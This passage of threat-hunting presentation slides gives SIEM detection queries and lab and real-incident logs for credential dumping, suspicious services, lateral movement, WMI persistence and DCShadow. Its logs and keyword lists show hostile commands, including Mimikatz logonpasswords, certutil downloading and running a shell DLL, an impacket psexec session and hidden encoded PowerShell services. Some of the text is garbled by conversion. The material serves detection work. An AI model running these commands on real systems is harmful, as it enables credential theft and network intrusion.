<td>DC.domain12. phd</td>
<td>c:\windows\system32\cmd.exe</td>
<td>-</td>
<td>vssadmin list shadows</td>
<td></td>
<td></td>
</tr>
<tr>
<td>DC.domain12. phd</td>
<td>c:\windows\system32\cmd.exe</td>
<td>-</td>
<td>whoami</td>
<td></td>
<td>system_owner_or_user_discovery</td>
</tr>
</tbody>
</table>
Hunting. Credentials Dumping. Mimikatz command line
Hands-on lab attack scenario 1

```plaintext
C:\Windows>services.exe "sekurlsa::logonpasswords"

C:\Windows>services.exe "sekurlsa::logonpasswords"

.#####. mimikatz 2.1.1 (x64) built on May 2 2018 00:26:52
#####. "À La Vie, À L'Amour" - (oe.oe)
## / ## / ## Benjmain DELPY `gentilkiwi` ( benjmain@gentilkiwi.com )
## / ## / ## > http://blog.gentilkiwi.com/mimikatz
## / ## / ## '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id: 0x151431169 (00000001:00731431)
```

Saved search “Mimikatz command line patterns”:
```
event_data.CommandLine:(*mimikatz* *mimidrv* *mimilib* *DumpCerts* *DumpCreds* *invoke-
mimikatz*) OR (event_data.CommandLine:(*kerberos* *sekurlsa* *Isadump* *dpapi*
*logonpasswords* *privilege* "*rpc:\:\server*" "*service:\:\me*" *token* *vault*) AND
event_data.CommandLine.keyword:*\.:\.*
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdc0</td>
<td>Process Create</td>
<td>C:\Windows\System32\wbem\WIC.exe</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>C:\Windows\services.exe &quot;sekurlsa::logonpasswords&quot;</td>
<td>mimikatz_commands_patterns, files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
</tbody>
</table>
Hunting. Credentials Dumping. LSASS memory access
Hands-on lab attack scenario 1

Saved search “Suspicious LSASS memory access”:

```
event_id:10 AND -event_data.GrantedAccess:(0x1000 0x1400 0x40) AND
event_data.TargetImage:"*\lsass.exe"
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.SourceImage</th>
<th>event_data.TargetImage</th>
<th>event_data.GrantedAccessList</th>
<th>event_data.CallTrace</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process accessed (rule: ProcessAccess)</td>
<td>C:\Windows\services.exe</td>
<td>C:\Windows\system32\lsass.exe</td>
<td>PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ</td>
<td>C:\Windows\SYSTEM32\ntdll.dll+5157a</td>
<td>C:\Windows\system32\KERNELBASE.dll+d817</td>
</tr>
</tbody>
</table>
In case of DCSync there will be 4662 event corresponding to the incoming replication request.

If the source of this replication request isn’t a DC, this is quite suspicious and can be the sign of DCSync attack.

Non DC IP-address
Hunting. Credentials Dumping. DCSync
Hands-on lab attack scenario 1

Saved search “Incoming Active Directory DB replication request from non DC”:

```
Saved search “Incoming Active Directory DB replication request from non DC”:
```

```
event_id:4662 AND event_data.ObjectServer:DS AND -event_data.SubjectUserName:(*)DC0* AND event_data.ObjectType:"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}" AND event_data.Properties:"{{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} "{{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}}") AND -enrich.cmdb.SourceIp.tags:dc
```

Successful login event 4624

```
Request
Memcached

Get from Memcached

Enrichment from successful login event, using Logstash Memcached filter
```

```
<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.SubjectUserName</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,562</td>
<td>vulnscn</td>
</tr>
</tbody>
</table>

```

```
<table>
<thead>
<tr>
<th>event_data.SubjectLogonId</th>
<th>event_data.SourceIp</th>
<th>enrich.cmdb.SourceIp.tags</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xE2502</td>
<td>192.168.220.100</td>
<td>wks</td>
</tr>
</tbody>
</table>

```

```
Hunting. Credentials Dumping. LSASS Notification Packages (password filters)

Hands-on lab test events

Saved search “Suspicious LSASS password filter was loaded”:

\texttt{event\_id:4614 \textbf{AND} \texttt{-event\_data.NotificationPackageName:}}\texttt{(scecli rassfm WDIGEST KDCPw)}
Hunting. Credentials Dumping. LSASS Notification Packages (password filters)
Hands-on lab test events

Saved search “Suspicious LSASS password filter” (under Autoruns scan log):

```
log_name:Autoruns AND event_data.Category:"LSA Providers" AND event_data.Entry:*
AND -event_data.Entry:(kerberos msv1_0 tspkg pku2u cloudAP wdigest schannel) AND
event_data.EntryLocation:"*\Notification Packages"
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>log_name</th>
<th>event_data.EntryLocation</th>
<th>event_data.Entry</th>
<th>event_data.IMEge</th>
<th>hash.MD5</th>
<th>otx.MD5</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>Autoruns</td>
<td>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notificat</td>
<td>mspasswordfilter</td>
<td>c:\windows\system32\mspasswordfilter.dll</td>
<td>AC53DC59933D0CE6EF6058FC1340CAEF</td>
<td>Malicious password filter</td>
<td>suspicious_lsass_password_filter</td>
</tr>
</tbody>
</table>

TI feeds checking using Logstash Trnaslate filter

```
root@telk:~# cat /etc/logstash/ioc_feeds/otx_md5.csv | grep "password f"
AC53DC59933D0CE6EF6058FC1340CAEF,Malicious password filter
```

```ruby
> if [hash][MD5] {
>     translate {
>       field => "[hash][MD5]"
>       destination => "[otx][MD5]"
>       dictionary_path => "/etc/logstash/ioc_feeds/otx_md5.csv"
>     }
> }
```
Hunting. Credentials Dumping. Credentials dumping tools services/drivers
Hands-on lab test events

Saved search “Suspicious services - credential dumping tools”:

(event_id:("4697" "7045") OR (log_name:Autoruns AND event_data.Category:(Services Drivers))) AND
(event_data.CommandLine:(*rpc::server*""*service::me*""*fgexec* *servpw* *cachedump* *dumpsvc* *mimidrv* *mimikatz* *wceservice* "*wce service*" *pwdump* *gsecdump* *cachedump*) OR
event_data.ServiceName:(*fgexec* *servpw* *cachedump* *dumpsvc* *mimidrv* *mimikatz* *wceservice* "*wce service*" *pwdump* *gsecdump* *cachedump*) OR event_data.Entry:(*fgexec* *servpw* **cachedump** *dumpsvc* *mimidrv* *mimikatz* *wceservice* "*wce service*" *pwdump* *gsecdump* *cachedump*))

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.ServiceName</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>7,045</td>
<td>WCESERVICE</td>
<td>C:\tools\wce.exe -5</td>
<td>suspicious_services_credential_dumping_tools</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>mimikatz service (mimikatzsvc)</td>
<td>&quot;C:\Tools\mimikatz\x64\mimikatz.exe&quot; rpc::server service::me exit</td>
<td>mimikatz_commands_patterns, suspicious_services_credential_dumping_tools</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>mimikatz driver (mimidrv)</td>
<td>C:\Tools\mimikatz\x64\mimikatz.sys</td>
<td>mimikatz_commands_patterns, suspicious_services_credential_dumping_tools</td>
</tr>
</tbody>
</table>
Hunting. Credentials Dumping. Credentials dumping tools/services/drivers
Hands-on lab test events

Saved search “Suspicious services - credential dumping tools” (as on previous slide), Autoruns scan logs:

(event_id:("4697" "7045") OR (log_name:Authoruns AND event_data.Category:(Services Drivers)) ) AND
(event_data.CommandLine:("*rpc::server*" "*service::me*" *fgexec* *servpw* *cachedump* *dumpsvc*
*mimidrv* *mimikatz* *wceservice* "*wce service*" *pwdump* *gsceldump* *cachedump*) OR
event_data.ServiceName:(*fgexec* *servpw* *cachedump* *dumpsvc* *mimidrv* *mimikatz* *wceservice*
"*wce service*" *pwdump* *gsceldump* *cachedump*) OR event_data.Entry:(*fgexec* *servpw* *cachedump*
*dumpsvc* *mimidrv* *mimikatz* *wceservice* "*wce service*" *pwdump* *gsceldump* *cachedump*)

<table>
<thead>
<tr>
<th>computer_name</th>
<th>log_name</th>
<th>event_data.EntryLocation</th>
<th>event_data.Entry</th>
<th>event_data.Image</th>
<th>hash.MDS</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>Autoruns</td>
<td>HKLM\System\CurrentControl</td>
<td>mimidrv</td>
<td>c:\tools\mimikatz\x64\mimidrv.sys</td>
<td>F4D57CDA9645574F14B08AC07D A5C40</td>
<td>mimikatz_commands_patterns, mimikatz_file_metadata, suspicious_servicesCredential_dumping_tools</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>Autoruns</td>
<td>HKLM\System\CurrentControl</td>
<td>mimikatzsvc</td>
<td>c:\tools\mimikatz\x64\mimikatz.exe</td>
<td>E380E1F590F8B8D7765B8A9CCF 413247</td>
<td>mimikatz_commands_patterns, mimikatz_file_metadata, suspicious_servicesCredential_dumping_tools</td>
</tr>
</tbody>
</table>
Hunting. Credentials Dumping. Mimikatz version info metadata
Hands-on lab test events

Saved search “Mimikatz file metadata”:

\[
\text{event\_data.Description: (*mimidrv* *mimikatz* *mimilib*) OR event\_data.Product: (*mimidrv* *mimikatz* *mimilib*) OR event\_data.Company: (*gentilkiwi* "*Benjamin DELPY*") OR event\_data.Signature: "Benjamin Delpy"
\]

<table>
<thead>
<tr>
<th>log_name</th>
<th>task</th>
<th>event_data.Image</th>
<th>event_data.Company</th>
<th>event_data.Description</th>
<th>event_data.Product</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Autoruns</td>
<td></td>
<td>c:\tools\mimikatz\x64\mimidrv.sys</td>
<td>gentilkiwi (Benjamin DELPY)</td>
<td>mimidrv for Windows</td>
<td></td>
<td>minikatz_commands_patterns, minikatz_file_metadata, suspicious_services_credential_dumping_tools</td>
</tr>
<tr>
<td>Autoruns</td>
<td></td>
<td>c:\tools\mimikatz\x64\mimikatz.exe</td>
<td>gentilkiwi (Benjamin DELPY)</td>
<td>mimikatz for Windows</td>
<td></td>
<td>minikatz_commands_patterns, minikatz_file_metadata, suspicious_services_credential_dumping_tools</td>
</tr>
<tr>
<td>Microsoft-Windows-Sysmon/Operational (rule: ProcessCreate)</td>
<td></td>
<td>C:\Tools\mimikatz\x64\mimikatz.exe</td>
<td>gentilkiwi (Benjamin DELPY)</td>
<td>mimikatz for Windows</td>
<td>minikatz</td>
<td>minikatz_commands_patterns, minikatz_file_metadata</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>computer_name X &gt;</th>
<th>log_name</th>
<th>task</th>
<th>event_data.Image</th>
<th>event_data.Image_loaded</th>
<th>event_data.Company</th>
<th>event_data.Description</th>
<th>event_data.Product</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-Z-DC01.testdomain.com</td>
<td>Microsoft-Windows-Sysmon/Operational</td>
<td>Image_loaded</td>
<td>C:\Windows\System32\lsass.exe</td>
<td>C:\Windows\System32\ssp.dll</td>
<td>gentilkiwi (Benjamin DELPY)</td>
<td>minilib for Windows (mimikatz)</td>
<td>mimilib (mimikatz)</td>
<td>minikatz_file_metadata, suspicious_services_credential_dumping_tools</td>
</tr>
</tbody>
</table>
Hunting. Suspicious Services. Services that run executables from `%systemroot%`. Real-life examples

Some hacking tools and frameworks install services with random names that execute binaries form `%systemroot%`.  

<table>
<thead>
<tr>
<th>Time</th>
<th>autorun_entries</th>
<th>filecmdline</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-05-06 22:18:33</td>
<td>HKLM\SYSTEM\ControlSet001\Services\zrmF</td>
<td>%systemroot%\py3kPZMa.exe</td>
</tr>
<tr>
<td>2018-04-27 16:29:13</td>
<td>HKLM\SYSTEM\ControlSet001\Services\ua8r</td>
<td>%systemroot%\KHGV12h1.exe</td>
</tr>
<tr>
<td>2018-04-27 16:29:26</td>
<td>HKLM\SYSTEM\ControlSet001\Services\gAJA</td>
<td>%systemroot%\1Sk1Xgwz.exe</td>
</tr>
<tr>
<td>2018-01-12 13:57:34</td>
<td>HKLM\SYSTEM\ControlSet001\Services\wRdc</td>
<td>%systemroot%\jgDzLTao.exe</td>
</tr>
<tr>
<td>2018-01-12 13:57:11</td>
<td>HKLM\SYSTEM\ControlSet001\Services\qWta</td>
<td>%systemroot%\GyGt0aaf.exe</td>
</tr>
<tr>
<td>2018-01-12 13:56:52</td>
<td>HKLM\SYSTEM\ControlSet001\Services\ziO</td>
<td>%systemroot%\osZIAgS1.exe</td>
</tr>
<tr>
<td>2018-01-12 13:56:45</td>
<td>HKLM\SYSTEM\ControlSet001\Services\EBxT</td>
<td>%systemroot%\yFPSwUog.exe</td>
</tr>
<tr>
<td>2017-10-19 06:13:33</td>
<td>HKLM\SYSTEM\ControlSet001\Services\TestSvc</td>
<td>%SystemRoot%\TestSvc.exe</td>
</tr>
<tr>
<td>2017-09-11 04:51:38</td>
<td>HKLM\SYSTEM\ControlSet001\Services\uWAn</td>
<td>%systemroot%\OhmCYutR.exe</td>
</tr>
<tr>
<td>2017-09-11 04:26:33</td>
<td>HKLM\SYSTEM\ControlSet001\Services\nXXS</td>
<td>%systemroot%\XcLeNdG.exe</td>
</tr>
<tr>
<td>2017-09-11 02:11:26</td>
<td>HKLM\SYSTEM\ControlSet001\Services\vSyK</td>
<td>%systemroot%\FkQOmtao.exe</td>
</tr>
<tr>
<td>2017-09-11 02:01:35</td>
<td>HKLM\SYSTEM\ControlSet001\Services\SRVC</td>
<td>%SystemRoot%\SRVC.exe</td>
</tr>
<tr>
<td>2017-09-11 01:49:14</td>
<td>HKLM\SYSTEM\ControlSet001\Services\pIGb</td>
<td>%systemroot%\tRb8kG0L.exe</td>
</tr>
</tbody>
</table>
Hunting. Suspicious Services. Services that run system executables
Real-life examples

Some hacking tools and frameworks install services that execute system binaries like cmd, rundll32, powershell and so on.

Such services are quite suspicious:

<table>
<thead>
<tr>
<th>Time</th>
<th>autorun_entries</th>
<th>filecmdline</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-09-21</td>
<td>HKLM\SYSTEM\ControlSet001\Services yksvc</td>
<td>RUNDLL32.EXE yksvc2ocinst,serviceStartProc</td>
</tr>
<tr>
<td>2018-02-06</td>
<td>HKLM\SYSTEM\ControlSet001\Services \7710f6b5d0f9b93acc3d37eb316f,</td>
<td>RUNDLL32.exe C:\Windows\7710f6b5d0f9b93acc3d37eb316f.dll Qpf1</td>
</tr>
<tr>
<td></td>
<td>HKLM\SYSTEM\ControlSet001\Services \7710f6b5d0f9b93acc3d37eb316f</td>
<td></td>
</tr>
<tr>
<td>2018-03-20</td>
<td>HKLM\SYSTEM\ControlSet001\Services wfovedgc214,</td>
<td>cmd.exe /c &quot;C:\ProgramData\wfovedgc214\tasksche.exe&quot;</td>
</tr>
<tr>
<td></td>
<td>HKLM\SYSTEM\ControlSet001\Services wfovedgc214</td>
<td></td>
</tr>
<tr>
<td>2018-03-26</td>
<td>HKLM\SYSTEM\ControlSet001\Services ykpsmsvc</td>
<td>RUNDLL32.exe ykx32psm.dll , ServiceEntryPoint</td>
</tr>
<tr>
<td></td>
<td>HKLM\SYSTEM\ControlSet001\Services ykpsmsvc</td>
<td></td>
</tr>
<tr>
<td>2018-04-09</td>
<td>C:\Windows\system32\cmd.exe /C echo net group &quot;Donate Admins&quot; /domain &gt;&gt; C:\WINDNS\temp\Gdy\WC1mQCTCOWH.txt &gt; C\Windows\Temp\%H%\FVYMS0vhx2L.bat &amp; C:\Windows\system32\cmd.exe /C start C\Windows\system32\cmd.exe /C C\WINDNS\temp%H%\FVYMS0vhx2L.bat</td>
<td></td>
</tr>
<tr>
<td>2018-04-18</td>
<td>$system32 services.exe</td>
<td>cmd.exe /c echo hfh1vd &gt; \pipe\hfh1vd</td>
</tr>
<tr>
<td>2018-04-24</td>
<td>SCM,</td>
<td>rundll32.exe shell32.dll Control_RunDLL C:\Users\Public\C\20273.dll</td>
</tr>
<tr>
<td></td>
<td>HKLM\SYSTEM\ControlSet001\Services FoxitReaderS service,</td>
<td></td>
</tr>
<tr>
<td></td>
<td>HKLM\SYSTEM\ControlSet001\Services FoxitReaderS service</td>
<td></td>
</tr>
<tr>
<td>2018-04-28</td>
<td>$system32 services.exe</td>
<td>cmd.exe /c echo adefui &gt; \pipe\adefui</td>
</tr>
</tbody>
</table>

WannaCry
Metasploit post-exploitation modules...
Meterpreter getsystem command...
Hunting. Suspicious Services. Services that run Powershell
Real-life examples

Cobalt Goblin

<table>
<thead>
<tr>
<th>computer_name</th>
<th>Win_ServiceName</th>
<th>Win_ServiceFileName</th>
</tr>
</thead>
<tbody>
<tr>
<td>pc-14.evilcorp.com</td>
<td>9231c1ce</td>
<td>%SHELL% /b /c start /b /m powershell.exe -nop -w hidden -encodedcommand</td>
</tr>
<tr>
<td>pc-9.evilcorp.com</td>
<td>35103f8</td>
<td>%SHELL% /b /c start /b /m powershell.exe -nop -w hidden -encodedcommand</td>
</tr>
</tbody>
</table>

Metasploit psexec

```
$session = new-object -com wscript.shell
$p = New-Object -com wscript.shell
$p.Run('powershell.exe -nop -w hidden -encodedcommand -encodeddata $encodeddata')
```
## Hunting. Suspicious Services. Services that run Powershell

Real-life examples

PHDays the Standoff network... 😊 Somebody tries to launch Powershell Meterpreter via remote service installation:

<table>
<thead>
<tr>
<th>Time</th>
<th>computer_name</th>
<th>Win_ServiceName</th>
<th>Win_ServiceFileName</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-05-16</td>
<td>DC.domain2.pdh</td>
<td>C1xQJD9USIUSZGW</td>
<td></td>
</tr>
<tr>
<td>2018-05-16</td>
<td>DC.domain2.pdh</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2018-05-16</td>
<td>DC.domain2.pdh</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2018-05-16</td>
<td>DC.domain2.pdh</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Hunting. Suspicious Services. Services that run executables from %systemroot%. Hands-on lab attack scenario 1**

Saved search “Suspicious services - executable from windows folder”:

(event_id:("4697" "7045") OR (log_name:Authoruns AND event_data.Category:Services) ) AND

event_data.CommandLine.keyword:. */%[s|S][y|Y][s|S][t|T][e|E][m|M][r|R][o|O][o|O][t|T]%\[^\]*.exe/

AND -event_data.CommandLine:(*paexe* *psexesvc* *winesesvc* *remcomsvc*)

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.ServiceName</th>
<th>enrich.freq.ServiceName.score</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>7,045</td>
<td>y\Wun</td>
<td>1.072</td>
<td>%systemroot%RgCQVXTn.exe</td>
<td>suspicious_service_that_start_executable_from_windows_folder</td>
</tr>
<tr>
<td>WV012r2-DC01.testdomain.com</td>
<td>7,045</td>
<td>UDG</td>
<td>0.56</td>
<td>%systemroot%xs88EnEI.exe</td>
<td>suspicious_service_that_start_executable_from_windows_folder</td>
</tr>
</tbody>
</table>
Hunting. Lateral Movement

Dumped credentials can be used to perform **Lateral Movement** and access restricted information.

[https://www.slideshare.net/heirhabarov/kheirkhabarov24052017phdays7](https://www.slideshare.net/heirhabarov/kheirkhabarov24052017phdays7)
### Hunting. Lateral Movement. Real-life examples

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>filecmdline</th>
<th>targetprocess/logotype</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>JOHNSON-PC</td>
<td>c:\windows\system32\cmd.exe</td>
<td>&quot;wmic /NODE:&quot;JOHNSON-PC. &quot; /USER:&quot;JOHNSON-PC. &quot; /PASSWORD:&quot;&quot; PROCESS CALL CREATE &quot;certutil.exe -urlcache -split -f <a href="http://192.168.1.100%5Cshell.txt">http://192.168.1.100\shell.txt</a> C:\Users\Public\shell_4444.txt&quot;</td>
<td>0</td>
<td>suspicious_certutil_usage_downloading_or_remote_interaction, using_wmic_or_powershell_for_remote_execution_via_wmi</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\winmpvse.exe</td>
<td>certutil.exe -urlcache -split -f <a href="http://192.168.1.171%5Cshell.txt">http://192.168.1.171\shell.txt</a> C:\Users\Public\shell_4444.txt</td>
<td>2</td>
<td>suspicious_certutil_usage_downloading_or_remote_interaction, remotely_executed_process</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>&quot;wmic /NODE:&quot;JOHNSON-PC. &quot; /USER:&quot;JOHNSON-PC. &quot; /PASSWORD:&quot;&quot; PROCESS CALL CREATE &quot;certutil.exe -decode C:\Users\Public\shell_4444.txt C:\Users\Public\shell_4444.dll&quot;</td>
<td>0</td>
<td>using_wmic_or_powershell_for_remote_execution_via_wmi, suspicious_certutil_usage_decoding</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>certutil.exe -decode C:\Users\Public\shell_4444.txt C:\Users\Public\shell_4444.dll</td>
<td>3</td>
<td>remotely_executed_process, suspicious_certutil_usage_decoding</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>&quot;wmic /NODE:&quot;JOHNSON-PC. &quot; /USER:&quot;JOHNSON-PC. &quot; /PASSWORD:&quot;&quot; PROCESS CALL CREATE &quot;rundll32.exe shell32.d.dll Control_RunDLL C:\Users\Public\shell_4444.dll&quot;</td>
<td>0</td>
<td>using_wmic_or_powershell_for_remote_execution_via_wmi</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>rundll32.exe shell32.d.dll Control_RunDLL C:\Users\Public\shell_4444.dll</td>
<td>2</td>
<td>remotely_executed_process, loading_of_dll_or_execution_of_file_that_was_downloaded_or_modified_by_certutil</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>&quot;wmic /NODE:&quot;JOHNSON-PC. &quot; /USER:&quot;JOHNSON-PC. &quot; /PASSWORD:&quot;&quot; PROCESS CALL CREATE &quot;rundll32.exe shell32.d.dll control_RunDLL C:\Users\Public\shell_4444.dll&quot;</td>
<td>0</td>
<td>using_wmic_or_powershell_for_remote_execution_via_wmi</td>
</tr>
<tr>
<td></td>
<td>c:\windows\system32\cmd.exe</td>
<td>rundll32.exe shell32.d.dll control_RunDLL C:\Users\Public\shell_4444.dll</td>
<td>3</td>
<td>suspicious_certutil_usage_decoding, remotely_executed_process</td>
</tr>
<tr>
<td></td>
<td>c:\windows\syso.wa</td>
<td>c:\windows\system32\cmd.exe</td>
<td>3</td>
<td>activity_of_remotely_executed_processes, suspicious_powershell_cmd_or_script_spawning, remotely_executed_process</td>
</tr>
</tbody>
</table>

**Execution in network logon**
Hunting. Lateral Movement. Access to SCM from non admin hosts
Hands-on lab attack scenario 1

```
root@attacker:/usr/share/doc/python-impacket/examples# ./psexec.py testdomain/vulnscan@192.168.220.100 cmd
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

Password:
[*] Trying protocol 445/SMB...

[*] Requesting shares on 192.168.220.100.....
[*] Found writable share ADMIN$
[*] Uploading file RgCVX TN.exe
[*] Opening SVCManager on 192.168.220.100.....
[*] Creating service yWun on 192.168.220.100.....
[*] Starting service yWun.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32
```

Saved search “Access to Service Control Manager from non admin hosts”:

```
event_id:5145 AND event_data.ShareName.keyword:*IPC* AND event_data.RelativeTargetName:svcctl
AND -(enrich.cmdb.SourceIp.tags:admin OR enrich.assets.Sourcelp.zone:administrativenet)
```
Hunting. Lateral Movement. Remotely created scheduler tasks
Hands-on lab attack scenario 1

Saved search “Lateral movement via scheduled tasks”:

```
event_id: ["4698" "4702"] AND event_data.LogonType:3
```
Hunting. Lateral Movement. Privileged network logons from non admin hosts
Hands-on lab attack scenario 1

Saved search “Privileged network logon from non admin host”:
```
event_id:4672 AND event_data.LogonType:3 AND (event_data.SourceIp:* OR event_data.WorkstationName:* ) AND -enrich.cmdb.SourceIp.tags:admin AND -enrich.cmdb.WorkstationName.tags:admin
```

Lateral movement path:
Kali VM -> VICTIM VM -> DC VM

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.SubjectUserName</th>
<th>event_data.SubjectLogonId</th>
<th>event_data.LogonType</th>
<th>event_data.SourceIp</th>
<th>enrich.cmdb.SourceIp.tags</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>4,672</td>
<td>vulnscan</td>
<td>0x53dc7eb</td>
<td>3</td>
<td>192.168.220.66</td>
<td>%kali_network_logon_from_non_admin_host</td>
<td>Kali VM</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,672</td>
<td>vulnscan</td>
<td>0x2d3cc60</td>
<td>3</td>
<td>192.168.220.100</td>
<td>%kali_network_logon_from_non_admin_host</td>
<td>Windows 7 (VICTIM)</td>
</tr>
</tbody>
</table>

Get from Memcached

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.TargetUserName</th>
<th>event_data.TargetLogonId</th>
<th>event_data.LogonType</th>
<th>event_data.SourceIp</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>4,624</td>
<td>vulnscan</td>
<td>0x53dc7eb</td>
<td>3</td>
<td>192.168.220.66</td>
</tr>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,624</td>
<td>vulnscan</td>
<td>0x2d3cc60</td>
<td>3</td>
<td>192.168.220.100</td>
</tr>
</tbody>
</table>
Hunting. Persistence. Real-life examples

Different suspicious ASEPs from real incidents
Hunting. Persistence
WMI Subscriptions
Real-life examples

It seems that something bad happened on this servers 😊
Hunting. Persistence. WMI Subscriptions
Hands-on lab attack scenario 1

msf exploit/windows/local/wmi_persistence) > exploit

[*] Installing Persistence...
[+] Bytes remaining: 13840
[+] Bytes remaining: 5840
[+] Payload successfully staged.
[+] Persistence installed! Call a shell using "smbclient \\192.168.220.100\C$ -U BOB <arbitrary password>"

Saved search “WMI subscription creation”:
(event_id:("19" OR "20" OR "21") AND source_name:*Sysmon) OR (event_id:"5858" AND user_data.Operation:(*EventConsumer* *EventFilter* *FilterToConsumerBinding*))

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.EventType</th>
<th>event_data.Name</th>
<th>event_data.Type</th>
<th>event_data.Destination</th>
<th>event_data.Filter</th>
<th>event_data.Consumer</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdc0</td>
<td>19</td>
<td>WmiFilterEvent</td>
<td>&quot;UPDATER&quot;</td>
<td></td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>wmi_subscription_creation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>VICTIM.testdomain</td>
<td>20</td>
<td>WmiConsumerEvent</td>
<td>&quot;UPDATER&quot;</td>
<td>Command Line</td>
<td></td>
<td>-</td>
<td>-</td>
<td>wmi_subscription_creation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>VICTIM.testdomain</td>
<td>21</td>
<td>WmiBindingEvent</td>
<td>-</td>
<td></td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>wmi_subscription_creation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hunting. DCShadow. RTFM

DCShadow is a new feature in mimikatz located in the lsadump module. It simulates the behavior of a Domain Controller (using protocols like RPC used only by DC) to inject its own data, bypassing most of the common security controls and including your SIEM.

It allows to push any changes of existing AD objects without logging. Examples of possible changes: change the primary group as 519 (member of the Enterprise admin group), add the Enterprise admin group SID in the SIDHistory attribute, enable disabled account and much more…

The attacks is done using the following steps:

- registering the "DC" by creating 2 objects in the CN=Configuration partition and altering the SPN of the computer used;
- pushing the data (triggered using DrsReplicaAdd, KCC or other internal AD events);
- removing the object previously created to demote the DC.

Want read more:
https://www.dcshadow.com/
https://youtu.be/KILnU4FhQbc
Hunting. DCShadow

The first step of DCShadow attack is altering the SPN of the computer used to perform attack. This action leaves a trace in the form of an appropriate Windows security event – 4742 with specific value of the “Service Principal Names” field:

- the DRS service class (which has the well-known GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2);
- the Global Catalog service class (which has the string “GC”).
Hunting. DCShadow

The second step of DCShadow attack is creation of object in the CN=Configuration partition, in a server container.

This action leaves a trace in the form of an appropriate Windows security event (4662 with specific value of Object Name and Parameter 1/2 fields).

Server container of the configuration partition

Created object. VICTIM is a name of the computer, from which DCShadow attack is performed.
Hunting. DCShadow

In case of DCShadow there will be 4662 event corresponding to the incoming replication request (as in case of DCSync).

If the source of this replication request isn’t a DC, this is quite suspicious and can be the sign of DCSync or DCShadow attack.
Hunting. DCShadow. Hands-on lab attack scenario 1

Saved search “Possible DCShadow attack - suspicious SPN for non DC computer account”:

